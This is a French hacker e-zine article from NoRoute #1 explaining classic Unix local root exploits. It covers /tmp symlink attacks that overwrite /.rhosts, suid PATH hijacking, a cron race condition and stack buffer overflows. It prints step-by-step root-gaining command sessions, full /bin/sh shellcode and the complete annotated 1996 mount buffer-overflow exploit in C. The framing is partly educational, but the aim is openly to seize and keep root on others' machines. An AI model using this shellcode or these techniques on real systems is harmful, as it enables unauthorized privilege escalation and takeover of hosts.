------------------------------------------------------------------------------- NoRoute #1 þ Introduction aux exploits þ 4764 þ s0RC3Ry þ NoRoute #1 ------------------------------------------------------------------------------- Introduction aux exploits Comment comprendre ce qu'on fait sur un systeme. Introduction------------------------------------------------------------------- Ouaiiis je suis root c kewl. Reaction typique du mec moyen dans #hack qui ne sait faire que deux choses: echanger des passwords et executer des exploits. Oui, mais. J'ai toujours ete tres vexe par le fait d'etre arrive si tard dans le monde du hack... Tout est actuellement protege et corrige, et il en resulte une linearite dans le hack qui reste assez deplaisante : on se logge, on utilise l'exploit qu'on trouve n'importe ou... Et on a un root sur une becanne. La difference maintenant entre bon hacker et petit rigolo, c'est que le petit rigolo se fait reprendre son root dans la semaine qui suit son acquisition, alors que le "bon hacker" l'exploite inlassablement pendant des mois.. Puis l'abandonne pour un autre.. Bien entendu le 'vrai bon hacker' -sic- ne fait pas que chopper des roots a droite a gauche... =) Mais la n'est pas la question.. Devant ce manque d'imagination assez deplorable chez la plupart des 'hackers a la mode', je me propose d'expliquer le fonctionnement de trois types d'exploits tres classiques dans le hack, que chacun de vous a surement deja utilise plus d'une fois... =) Je m'attarderai surtout sur le dernier type, le plus recent et celui qui genere exploit sur exploit en ce moment, j'ai plus ou moins nomme le buffer overflow. drwxrwxrwt---7-root-----root---------2048-Mar--2-12:38-/tmp/------------------- Toute une serie d'exploits utilise le fait que /tmp est world writable. /tmp est utilise par un grand nombre de programmes suid pour y stocker des fichiers temporaires, fichiers qui sont souvent ecrits avec les permissions du root... Le truc dans ce cas est assez simple: on passe par un lien symbolik. Un lien symbolique peut etre mis par n'importe qui, et c'est une fonction unix que beaucoup de roots regrettent encore aujourd'hui. Il permet a un user normal de faire un lien entre un fichier du root (par exemple /.rhosts) et un fichier determine par l'user (par exemple /tmp/.rhosts). L'interet de cette chose est que toute modification de ce fichier par un user amenera, si l'user en a le droit, a la modification du fichier linke... Par exemple, si l'user arrive a ecrire dans /tmp/.rhosts, alors il modifiera /.rhosts. L'interet de la chose est qu'on peut choisir un nom pour le fichier "image", le lien symbolique: par exemple, ln -s /.rhosts /tmp/.Xlock donnera au fichier /tmp/.Xlock les memes proprietes que le fichier /.rhosts, et toute modification de /tmp/.Xlock par un process root entrainera une modification de /.rhosts tout a fait identique. On voit donc d'ici l'interet de l'exploit: en prevoyant qu'un process root ecrira un fichier de nom AGAGA sur le disque a un endroit precis ou nous, user normal, avons acces, et en sachant que l'on peut determiner ce qui va etre place dans AGAGA, on peut modifier un fichier du root en placant un lien symbolique de ce fichier vers AGAGA. Il suffit que le programme suid ne verifie pas l'existence d'AGAGA avant d'ecrire dedans... Un exemple il y a un petit bout de temps deja avec XF86 sous linux: beigebox:/tmp> ln -s /var/adm/utmp .tX0-lock beigebox:/tmp> startx Fatal server error: Server is already active for display 0 If this server is no longer running, remove /tmp/.tX0-lock and start again. - le fichier .tX0-lock sert de lock a XF86 et lui permet de savoir si un server tourne deja et si oui, sous kel process. beigebox:/tmp> cat /var/adm/utmp 116 beigebox:/tmp> Le probleme venait du fait que XF86 verifiait uniquement si le fichier .tX0-lock appartenait a root avant d'ecrire dedans son numero de process, puis concluait qu'un serveur etait deja lance et abandonnait son lancement. Du coup, il etait possible d'ecrire n'importe quoi dans n'importe quel fichier appartenant a root en passant par ce lien... Une autre source d'exploits bien connue passait par le fait que sur certains systemes mal administres, le repertoire /tmp etait drxwrxwrxw, c'est a dire que tout le monde avait la possibilite d'enlever un fichier de ce repertoire. Un seul exemple suffira: prenons par exemple mgetty qui, sur mon systeme, cree un fichier de log log_mg.ttyS2. Il contient des chaines d'init de modem et donc par endroit, un "+ +". La meilleure maniere de chopper le root sur un systeme utilisant mgetty est donc la suivante dans ce cas : beigebox:/tmp> rm log_mg.ttyS2 rm: remove `log_mg.ttyS2, overriding mode 0644? y beigebox:/tmp> ln -s /.rhosts log_mg.ttyS2 [attendre une arrivee de fax/appel..] beigebox:/tmp> rsh localhost -l root beigbeox:~# whoami root beigebox:~# Le probleme du /tmp sans tiny bit (-t-), c'est qu'on peut ainsi effacer kel fichier d'un programme suid root en cours pour le remplacer par n'importe quoi.. De ce fait on peut facilement imaginer un exploit pour chopper le root sur la becanne sans grand probleme... (sendmail, rdist, ...). ------execve("ls",0,0);-------------------------------------------------------- Un autre grand probleme sous unix qui a suscite grand nombre d'exploit est le classique appel a un programme depuis un programme suid sans specifier le path de ce dernier.. (voir doom_exploit.sh =). Dans ce cas, n'importe kel user peut faire executer n'importe quelle commande root a ce programme suid en suivant la methode expliquee quelques articles plus haut... C'est a dire mettre son path sur /tmp par exemple, et creer un script executable 'ls' ou autre qui contiendrait des commandes comme un /bin/chmod 04755 /bin/sh... -----Qu'est-ce-qu'un-race-?---------------------------------------------------- Je ne m'etendrais pas sur ce sujet car il est tres large. Le race est, comme son nom l'indique, une "course" contre le systeme, visant a faire effectuer a ce dernier deux taches en meme temps par exemple, a le mettre dans une situtation particuliere dans laquelle il est exploitable. Par exemple, sachant que dans les crontabs du root, il se trouve un 'find *guru* -exec rm -rf {}', le but du race serait de creer le fichier guru, puis au moment ou le find vient de le trouver, et ou il le passe dans la variable {}, faire un symbolic link de ce fichier guru vers un repertoire arbitraire comme /etc, ou /usr. Ceci permet a quiconque de detruire un fichier appartenant au root sur le systeme, ce qui n'est pas si mal que ca dans le fond... (une telle condition revient en gros a un /tmp drwxrxwrwx). Non, je ne delire pas, une telle aberation s'est bien trouvee dans les crontabs par defaut de la RedHat 2.x... -----strcpy(buffer,argv[1]);--------------------------------------------------- Le plus joli des exploits. Le buffer overflow. Celui qui parait le plus propre et efficace... Une compilation, une execution, un root et pas de traces... Quand on compare ca a un psrace ou un mail exploit de sunos, qui, quand ils foirent, foutent des centaines de mails au root accompagnes de core dans tous les sens, on est plutot heureux de voir que ca a ete invente... =) Comment ca marche ? Il faut tout d'abord que nous comprenions le principe d'un appel de fonction... Sous linux (je prendrai cet exemple mais cela est valable sous beaucoup d'Os..), et sur un 80386 en general, on considere trois zones de donnees independantes: le segment de donnees, ou sont stockees des valeurs a adresse constante lors de l'initialisation des programmes, le segment de code ou se trouve le code meme du programme, et le segment de pile (stack en anglais) ou sont passees des variables pour passages temporels de donnees. Nous nous interessons ici au segment de stack. Son architecture, sur un 386, est telle que la partie haute de la memoire ( -> FFFFFFFF) correspond au 'fond' de la pile (SP -> 0) et que lorsqu'on ajoute des donnees dans la pile, ces donnees sont passes en dessous dans la memoire. Les deux instructions utilisees en majorite par la pile sont PUSH et POP. PUSH permet d'inclure une nouvelle valeur dans la pile. POP en retire une. A tout moment, un pointeur de pile (SP) est mis a jour et correspond a la partie la plus basse de la pile, c'est a dire a la zone de depart du dernier element pose dans la pile. Ah oui, j'oubliais. Une connaissance minimale de l'assembleur semble requise pour bien comprendre ce chapitre =)... Voici un shema representant la pile sur un pc, au fur et a mesure qu'on y entre des valeurs: PUSH "123" [ 123] PUSH "ABCDEFG" [ ABCDEFG123] POP AX ABCD -> AX (4) [ EFG123] Lorsqu'on PUSH des valeurs dans la pile, elles sont donc ajoutees comme sur le shema: SP est decremente de la valeur de cette variable, pour qu'elle aie la place de se placer dans la pile sans "bouffer" les autres, puis la variable est posee dans la pile a l'offset SP. Lorsqu'on POP un registre, comme AX=4b, on retire 4 bytes de la pile et SP est incremente de 4. Nous sommes ici en 32 bits.. J'espere que le principe de la pile, "premier entre dernier sorti", est bien compris car il est determinant pour la suite... Lors d'un call, les variables passees a la fonction et que la fonction doit nous renvoyer doivent etre passees de l'une a l'autre d'une maniere souple. Nous utilisons pour cela la pile (en fait c'est le compilo qui ne nous laisse pas le choix =). Voici un exemple de traduction de ce que je viens d'essayer de dire d'une maniere claire et comprehensible: function(a,b); push b; push a; call __function(); pop ax; pop bx; Et dans ax nous avons la valeur a renvoyee par la fonction, et de meme dans bx nous recevons la valeur b. Est-ce bien clair jusqu'ici ? Compliquons la chose.. Lors du call de la fonction, il se passe ceci: __function: (instructions) (relatives a) (la fonction) RET Le RET est une instruction qui va donner a notre fonction l'ordre de revenir a l'endroit ou on l'a appele. Evidemment comme intel aime bien nous compliquer la vie, RET va aller chercher l'adresse de retour dans la pile! Voici ce qui se passe en realite: Nous sommes a l'offset CS:IP. Le CS reste fixe, c'est notre segment. IP est l'adresse memoire correspondant a l'instruction push b: Instruction Etat de la pile push b; [ BBBB] push a; [ AAAABBBB] call __function [ RRRRAAAABBBB] fct: (instructions) [ RRRRAAAABBBB] fct: RET [ AAAABBBB] pop ax; [ BBBB] pop bx; [ ] RRRR devient l'adresse de retour du call, l'ip rendu par le RET. Bon mais tout cela serait trop simple si il en etait ainsi =) En realite, un pointeur de pile un peu plus evolue est utilise par le processeur et agit en fait comme un offset sur SP, il s'agit de BP. Donc dans ce cas, la pile contient l'adresse de retour, l'ancien SP, puis les variables locales. lors du call: push bp mov sp,bp sub sp,(taille allouee aux valeurs locales) On sauve l'ancien bp, SP prend sa valeur et on tient compte de la place allouee aux valeurs locales.... lors du ret: mov bp,sp pop bp On recupere notre BP, c'est SP qui determine sa position.... Ensuite le ret prendra sa valeur dans la pile et nous retournera au CS:IP suivant l'appel. N'allons pas compliquer les choses a ce point, attaquons tout de suite le cote overflow de la chose... Disons maintenant que notre __function accepte un buffer d'une taille de 16 bytes. Lors de l'initialisation de la fonction, une place dans la pile va etre allouee a ce buffer, notee ici par des X: call __function [XXXXXXXXXXXXXXXX RRRRAAAABBBB] R represente l'adresse de retour de la fonction a la fin. Imaginons maintenant que notre __function, a un moment donne, copie le buffer b dans le buffer XXX... voici le resultat pendant l'execution de la __function: __function [BBBBXXXXXXXXXXXX RRRRAAAABBBB] Mais la taille de B n'est pas limitee du tout: si jamais B a une taille disons un peu trop grosse voici ce qu'il risk de se passer: __function [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAABBBBBBBBBBBBBBBBBB...BB] Le buffer XXX est largement depasse et vient mordre sur la valeur de retour RRRR. C'est ca qu'on appelle un buffer overflow. Maintenant le principe du buffer overflow devient plus clair: si on arrive a donner a la fin du buffer BBBB une valeur qui pointe vers une fonction a nous, qui execute un shell, alors au moment du RET, __function partira directement sur notre shell au lieu de revenir vers l'adresse originale RRRR. En fait, pour les buffer overflows "ou y'a dla place", on utilise ce qui est appele un EGG, c'est a dire un morceau d'assembleur qui execute un shell suivi d'une grande serie d'octet ayant pour valeur l'adresse de l'EGG: en remplissant ainsi le buffer XXX, lors du RET, c'est le debut du buffer XXX qui est execute soit notre EGG et donc notre SHELL. Calculer l'offset de debut de l'EGG etant assez complique, on remplit environ la moitie de l'EGG par des NOPs (0x90,E accent grave), ce qui permet un taux d'erreur assez appreciable: les NOPs sont des instructions qui ne font rien justement, et si on arrive a aterrir quelque part au milieu de ces NOPs avec notre RET modifie, alors on a gagne la partie, le shell est a nous, et pour peu que le programme soit suid, le shell est root... Voici un shema illustrant ce qu'il se passe: (pour plus de place on va supposer ici qu'on ne push que la valeur B,contenant notre EGG, avant d'appeler la fonction) N=NOP, E=code de notre shell, A=adresse du shell, R=adresse d'origine du RET. push b; __function (appel de la fonction) [XXXXXXXXXXXX RRRRNNNNNNNEEEEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAAA] (ici, notre fonction copie B dans XXX, soit notre EGG dans XXX: c'est CA qui va determiner l'exploit faisable ou pas) [NNNEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAA.......] / Arrivee ICI ~~~~~~ , le RET nous ramene dans les N, au debut du shell. Notre code shell est donc lance... Voila, j'espere que cela fut plus ou moins clair... =) Si vous voulez plus de details sur le sujet, je vous recommande vivement l'article de Aleph One dans Phrack49 qui est tout simplement excellent, et qui explique assez bien la chose... =) j'avoue que je suis assez mauvais en explications huh =) En bonus, voici le contenu de l'EGG generique (c'est le code qui execute le shell) que vous trouverez d'ailleurs en tete de tous les exploits buff overflow sous unix... u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; En fait, il fait appel a l'int 0x80 (\xcd\x80 qui permet d'executer un programme lorsque ax=0xb,bx=cx=adresse de la chaine a executer), en faisant pointer bx vers sa fin, c'est a dire ici vers /bin/sh... Comme vous pouvez le remarquer, tout 0x00 a ete enleve de l'EGG et habilement remplace par des xor ax,ax et d'autres astuces, car une copie de buffer s'arrete a la rencontre d'un 0x00... Ce qu'il faut faire pour exploiter cet EGG: le mettre dans le buffer a overflower.. trouver son adresse (__asm get esp...) et en deduire l'adresse qu'il aura dans le programme a exploiter, (ce qui inclut donc l'existance d'un offset), puis mettre avant lui une 50aine de NOPS (selon la taille necessaire pour flooder le buffer, le nombre de NOPS peut varier...) et apres lui quelques longs ayant pour valeur l'adresse du debut du buffer justement, c a dire esp - offset, ou offset est un coup de moule total =)... Voici le mount exploit (classique!) et son explication: /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include #include #include #include #include #define PATH_MOUNT "/bin/umount" /* Ca fait bien de passer par des #define BUFFER_SIZE 1024 Defines dans un code c =) */ #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); /* Cette fonction retourne le SP courant. } main(int argc, char **argv) { u_char execshell[] = /* Voici notre shellcode */ "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); /* On alloue 4096 bytes pour notre EGG */ if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* Le pointeur ptr pointe vers ce buffer */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* On remplit le buffer avec des NOP, en laissant juste la place pour le shellcode */ ptr += BUFFER_SIZE-strlen(execshell); /* Remise du pointeur a la fin des NOPS pour pouvoir.... */ for(i=0;i < strlen(execshell);i++) /* Remplir la suite avec notre shellcode */ *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; /* addr_ptr prend la place de notre ptr car il nous faut un long : l'addy de retour contient 4 bytes */ /* Cette partie va remplir la suite de notre code avec l'adresse de retour... On la place 3 fois a la fin du buffer...*/ for(i=0;i < (8/4);i++) /* Ici il reste la place pour 3 words. En fait plus generiquement, il faudrait faire quelque chose comme for(i=0;i < [fin];i+=4) */ *(addr_ptr++) = get_esp() + ofs; /* le word pointe par addr_ptr est rempli par l'adresse de notre egg et addr_ptr est incremente */ ptr = (char *)addr_ptr; *ptr = 0; /* Le dernier char doit etre mis a 0 sinon c'est tout le reste de la RAM qui est copie dans la buffer ! =) */ (void)alarm((u_int)0); /* On place une limite dans le temps d'exec.. */ /* Au cas ou ca merderait.... */ printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); /* On se la pete pour etre auto-op dans #hack */ execl(PATH_MOUNT, "mount", buff, NULL); /* On execute notre programme avec comme argument notre EGG */ } Les programmes dont le buffer sera exploitable sont les programmes ne controllant pas la taille des buffers lors de dumps, par exemple les programmes qui utilisent strcpy() au lieu de strncpy() qui est devenu une regle d'or en matiere de programmation systeme sous unix... J'espere que ce fichier vous donnera une autre opinion de l'exploit... Depuis que je m'interesse a la question je ne cesse de decouvrir des bugs dans mon linux (malheureusement la plupart etant dus a moi...=) et je passe ma vie a faire la chasse aux suid non-deja-exploites... =) Ca devient une vraie manie, j'y retourne j'ai un probleme avec sendmail... =] -s0RC3Ry-> NoRoute #1